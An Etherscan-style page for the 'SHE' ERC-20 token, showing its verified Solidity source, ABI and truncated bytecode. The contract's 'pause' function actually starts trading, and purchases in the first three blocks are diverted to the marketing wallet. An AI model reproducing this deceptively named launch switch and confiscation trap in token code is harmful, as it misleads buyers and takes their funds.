Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
2,100,000,000,000,000 SHE
Holders
126
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.000000084809883429 SHEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SHE
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-21 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly {codehash := extcodehash(account)} return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value : amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value : weiValue}(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function waiveOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getTime() public view returns (uint256) { return block.timestamp; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHE is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; address payable public marketingWalletAddress; address public deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; uint256 public _totalTaxIfBuying = 1; uint256 public _totalTaxIfSelling = 1; uint256 private _totalSupply; uint256 private _minimumTokensBeforeSwap = 0; address public usdt; bool private startTx; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor ( string memory coinName, string memory coinSymbol, uint8 coinDecimals, uint256 supply, address router, address owner, address marketingAddress ) payable { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _name = coinName; _symbol = coinSymbol; _decimals = coinDecimals; _owner = owner; _totalSupply = supply * 10 ** _decimals; _minimumTokensBeforeSwap = 420000000 * 10**_decimals; uniswapV2Router = _uniswapV2Router; marketingWalletAddress = payable(marketingAddress); _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[marketingWalletAddress] = true; isMarketPair[address(uniswapPair)] = true; _balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return _minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { _minimumTokensBeforeSwap = newLimit; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } uint256 public first; uint256 public kill = 3; function pause() onlyOwner public { startTx = true; first = block.number; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { isExcludedFromFee[accounts[i]] = excluded; } } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]){ if(isMarketPair[sender] || isMarketPair[recipient]){ require(startTx, "not start"); } } if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]){ if(sender == uniswapPair && block.number < first + kill){ return _basicTransfer(sender, marketingWalletAddress, amount); } } if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = _minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { // swap token -> eth swapTokensForEth(tAmount); uint256 amountReceived = address(this).balance; if(amountReceived > 0) transferToAddressETH(marketingWalletAddress, amountReceived); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"marketingAddress","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"first","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kill","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdt","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040819052600480546001600160a01b03191661dead17905560016009819055600a556000600c55600f805461ffff60a81b1916600160a81b17905560036011556200244238819003908190833981016040819052620000619162000544565b6000839050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620000a057600080fd5b505afa158015620000b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000db91906200051f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200012457600080fd5b505afa15801562000139573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015f91906200051f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620001a857600080fd5b505af1158015620001bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e391906200051f565b600f80546001600160a01b0319166001600160a01b03929092169190911790558751620002189060019060208b0190620003a5565b5086516200022e9060029060208a0190620003a5565b506003805460ff191660ff8816908117909155600080546001600160a01b0319166001600160a01b0386161790556200026990600a62000653565b62000275908662000714565b600b556003546200028b9060ff16600a62000653565b6200029b90631908b10062000714565b600c55600e80546001600160a01b0319166001600160a01b0383811691821790925560038054610100600160a81b0319166101008685168102919091178255600b8054306000818152600660209081526040808320988352978152878220939093558a881680825260078452878220805460ff1990811660019081179092559383528883208054851682179055965495909504881681528681208054831687179055600f5490971687526008825285872080549091169094179093555481855260058352838520819055925192835292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050506200079f565b828054620003b39062000736565b90600052602060002090601f016020900481019282620003d7576000855562000422565b82601f10620003f257805160ff191683800117855562000422565b8280016001018555821562000422579182015b828111156200042257825182559160200191906001019062000405565b506200043092915062000434565b5090565b5b8082111562000430576000815560010162000435565b80516001600160a01b03811681146200046357600080fd5b919050565b600082601f8301126200047a57600080fd5b81516001600160401b038082111562000497576200049762000789565b604051601f8301601f19908116603f01168101908282118183101715620004c257620004c262000789565b81604052838152602092508683858801011115620004df57600080fd5b600091505b83821015620005035785820183015181830184015290820190620004e4565b83821115620005155760008385830101525b9695505050505050565b6000602082840312156200053257600080fd5b6200053d826200044b565b9392505050565b600080600080600080600060e0888a0312156200056057600080fd5b87516001600160401b03808211156200057857600080fd5b620005868b838c0162000468565b985060208a01519150808211156200059d57600080fd5b50620005ac8a828b0162000468565b965050604088015160ff81168114620005c457600080fd5b60608901519095509350620005dc608089016200044b565b9250620005ec60a089016200044b565b9150620005fc60c089016200044b565b905092959891949750929550565b600181815b808511156200064b5781600019048211156200062f576200062f62000773565b808516156200063d57918102915b93841c93908002906200060f565b509250929050565b60006200053d60ff8416836000826200066f575060016200070e565b816200067e575060006200070e565b8160018114620006975760028114620006a257620006c2565b60019150506200070e565b60ff841115620006b657620006b662000773565b50506001821b6200070e565b5060208310610133831016604e8410600b8410161715620006e7575081810a6200070e565b620006f383836200060a565b80600019048211156200070a576200070a62000773565b0290505b92915050565b600081600019048311821515161562000731576200073162000773565b500290565b600181811c908216806200074b57607f821691505b602082108114156200076d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b611c9380620007af6000396000f3fe60806040526004361061021e5760003560e01c806382eefb4311610123578063a9059cbb116100ab578063d158272d1161006f578063d158272d14610633578063da00097d14610658578063dd62ed3e14610679578063f0cd1dac146106bf578063f2fde38b146106d557600080fd5b8063a9059cbb14610593578063b2bdfa7b146105b3578063c492f046146105d3578063c49b9a80146105f3578063c816841b1461061357600080fd5b8063914eb66a116100f2578063914eb66a1461051457806395d89b4114610529578063a073d37f1461053e578063a457c2d714610553578063a5d69d1f1461057357600080fd5b806382eefb43146104ab578063844d591c146104c15780638456cb59146104e15780638da5cb5b146104f657600080fd5b806339509351116101a657806341c0e1b51161017557806341c0e1b5146103fb5780634a74bb02146104115780635342acb414610432578063557ed1ba1461046257806370a082311461047557600080fd5b806339509351146103735780633b97084a146103935780633df4ddf4146103b55780633ecad271146103cb57600080fd5b806323b872dd116101ed57806323b872dd146102dc57806327c8f835146102fc5780632b112e491461031c5780632f48ab7d14610331578063313ce5671461035157600080fd5b806306fdde031461022a578063095ea7b3146102555780631694505e1461028557806318160ddd146102bd57600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061023f6106f5565b60405161024c9190611a1f565b60405180910390f35b34801561026157600080fd5b506102756102703660046118f7565b610787565b604051901515815260200161024c565b34801561029157600080fd5b50600e546102a5906001600160a01b031681565b6040516001600160a01b03909116815260200161024c565b3480156102c957600080fd5b50600b545b60405190815260200161024c565b3480156102e857600080fd5b506102756102f7366004611881565b61079e565b34801561030857600080fd5b506004546102a5906001600160a01b031681565b34801561032857600080fd5b506102ce610809565b34801561033d57600080fd5b50600d546102a5906001600160a01b031681565b34801561035d57600080fd5b5060035460405160ff909116815260200161024c565b34801561037f57600080fd5b5061027561038e3660046118f7565b610835565b34801561039f57600080fd5b506103b36103ae3660046119c2565b61086b565b005b3480156103c157600080fd5b506102ce60105481565b3480156103d757600080fd5b506102756103e636600461180e565b60086020526000908152604090205460ff1681565b34801561040757600080fd5b506102ce60115481565b34801561041d57600080fd5b50600f5461027590600160a81b900460ff1681565b34801561043e57600080fd5b5061027561044d36600461180e565b60076020526000908152604090205460ff1681565b34801561046e57600080fd5b50426102ce565b34801561048157600080fd5b506102ce61049036600461180e565b6001600160a01b031660009081526005602052604090205490565b3480156104b757600080fd5b506102ce600a5481565b3480156104cd57600080fd5b506103b36104dc3660046118c2565b6108a3565b3480156104ed57600080fd5b506103b36108f8565b34801561050257600080fd5b506000546001600160a01b03166102a5565b34801561052057600080fd5b506103b361093b565b34801561053557600080fd5b5061023f6109af565b34801561054a57600080fd5b50600c546102ce565b34801561055f57600080fd5b5061027561056e3660046118f7565b6109be565b34801561057f57600080fd5b506103b361058e3660046119a7565b610a0d565b34801561059f57600080fd5b506102756105ae3660046118f7565b610a55565b3480156105bf57600080fd5b506000546102a5906001600160a01b031681565b3480156105df57600080fd5b506103b36105ee366004611923565b610a62565b3480156105ff57600080fd5b506103b361060e3660046119a7565b610b03565b34801561061f57600080fd5b50600f546102a5906001600160a01b031681565b34801561063f57600080fd5b506003546102a59061010090046001600160a01b031681565b34801561066457600080fd5b50600f5461027590600160b01b900460ff1681565b34801561068557600080fd5b506102ce610694366004611848565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156106cb57600080fd5b506102ce60095481565b3480156106e157600080fd5b506103b36106f036600461180e565b610b85565b60606001805461070490611b76565b80601f016020809104026020016040519081016040528092919081815260200182805461073090611b76565b801561077d5780601f106107525761010080835404028352916020019161077d565b820191906000526020600020905b81548152906001019060200180831161076057829003601f168201915b5050505050905090565b6000610794338484610c6f565b5060015b92915050565b60006107ab848484610d93565b506107fe84336107f985604051806060016040528060288152602001611c11602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611216565b610c6f565b5060015b9392505050565b6004546001600160a01b0316600090815260056020526040812054600b5461083091611250565b905090565b3360008181526006602090815260408083206001600160a01b038716845290915281205490916107949185906107f99086611292565b6000546001600160a01b0316331461089e5760405162461bcd60e51b815260040161089590611a74565b60405180910390fd5b600c55565b6000546001600160a01b031633146108cd5760405162461bcd60e51b815260040161089590611a74565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109225760405162461bcd60e51b815260040161089590611a74565b600d805460ff60a01b1916600160a01b17905543601055565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161089590611a74565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606002805461070490611b76565b600061079433846107f985604051806060016040528060258152602001611c39602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611216565b6000546001600160a01b03163314610a375760405162461bcd60e51b815260040161089590611a74565b600f8054911515600160b01b0260ff60b01b19909216919091179055565b60006107fe338484610d93565b6000546001600160a01b03163314610a8c5760405162461bcd60e51b815260040161089590611a74565b60005b82811015610afd578160076000868685818110610aae57610aae611be2565b9050602002016020810190610ac3919061180e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610af581611bb1565b915050610a8f565b50505050565b6000546001600160a01b03163314610b2d5760405162461bcd60e51b815260040161089590611a74565b600f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610b7a90831515815260200190565b60405180910390a150565b6000546001600160a01b03163314610baf5760405162461bcd60e51b815260040161089590611a74565b6001600160a01b038116610c145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610895565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610895565b6001600160a01b038216610d325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610895565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610df95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610895565b6001600160a01b038316610e5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610895565b60008211610ebd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610895565b6001600160a01b03841660009081526007602052604090205460ff16158015610eff57506001600160a01b03831660009081526007602052604090205460ff16155b15610f8d576001600160a01b03841660009081526008602052604090205460ff1680610f4357506001600160a01b03831660009081526008602052604090205460ff165b15610f8d57600d54600160a